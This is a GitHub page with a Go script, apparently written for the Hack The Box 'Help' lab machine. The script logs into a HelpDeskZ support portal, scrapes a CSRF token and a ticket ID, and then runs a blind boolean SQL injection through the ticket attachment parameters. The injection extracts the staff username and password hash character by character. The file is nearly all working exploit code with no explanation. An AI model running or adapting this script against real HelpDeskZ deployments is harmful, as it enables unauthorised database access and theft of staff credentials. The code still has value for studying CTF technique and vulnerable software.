-
Notifications
You must be signed in to change notification settings - Fork 0
/
helpdeskz_sqli_exploit.go
109 lines (85 loc) · 2.46 KB
/
helpdeskz_sqli_exploit.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
package main
import (
"fmt"
"io/ioutil"
"net/http"
_ "time"
"strings"
"net/url"
"net/http/cookiejar"
"strconv"
)
var lab_url = "http://help.htb/support/"
var email = "helpme@helpme.com"
var password = "godhelpmeplz"
func main() {
proxyUrl, err := url.Parse("http://127.0.0.1:8080")
jar, err := cookiejar.New(nil)
transport := &http.Transport{
Proxy: http.ProxyURL(proxyUrl),
}
c := &http.Client{
Transport: transport,
Jar: jar,
}
// Auth (get csrf token)
resp, err := c.Get(lab_url)
if err != nil {
fmt.Printf("Error %s", err)
return
}
defer resp.Body.Close()
html_response_byte, err := ioutil.ReadAll(resp.Body)
html_response := string(html_response_byte[:])
csrf_index := strings.Index(html_response, "csrfhash")
csrf_token := html_response[csrf_index+17:csrf_index+49]
// Auth (login)
data := url.Values{
"do": {"login"},
"csrfhash": {csrf_token},
"email": {email},
"password": {password},
"remember": {"1"},
"btn": {"Login"},
}
resp, err = c.PostForm(lab_url+"?v=login", data)
if err != nil {
fmt.Printf("Error %s", err)
return
}
// Parse ticket ID
defer resp.Body.Close()
html_response_byte, err = ioutil.ReadAll(resp.Body)
html_response = string(html_response_byte[:])
ticket_id_index := strings.Index(html_response, "param[]=")
if ticket_id_index == -1 {
fmt.Printf("Create ticket!", err)
return
}
ticket_id, err := strconv.Atoi(html_response[ticket_id_index+8:ticket_id_index+9])
// Start blind SQL injector
sql_url := fmt.Sprintf("%s?v=view_tickets&action=ticket¶m[]=%d¶m[]=attachment¶m[]=1¶m[]=7", lab_url, ticket_id)
// Getting username and password
// char from 47 to 123
//output := ""
sql_query_part1 := "+AND+ASCII(SUBSTRING((SELECT+CONCAT(USERNAME,0x3A,PASSWORD)+FROM+staff+LIMIT+0,1),"
sql_query_part2 := ",1))="
for indx := 1; indx < 50; indx++ {
for chr := 47; chr < 123; chr++ {
custom_url := fmt.Sprintf("%s%s%d%s%d", sql_url, sql_query_part1, indx, sql_query_part2, chr)
resp, err := c.Get(custom_url)
if err != nil {
fmt.Printf("Error %s", err)
return
}
defer resp.Body.Close()
html_response_byte, err = ioutil.ReadAll(resp.Body)
html_response = string(html_response_byte[:])
not_found := strings.Index(html_response, "Page not found")
if not_found == -1 {
fmt.Printf("%c", chr)
break
}
}
}
}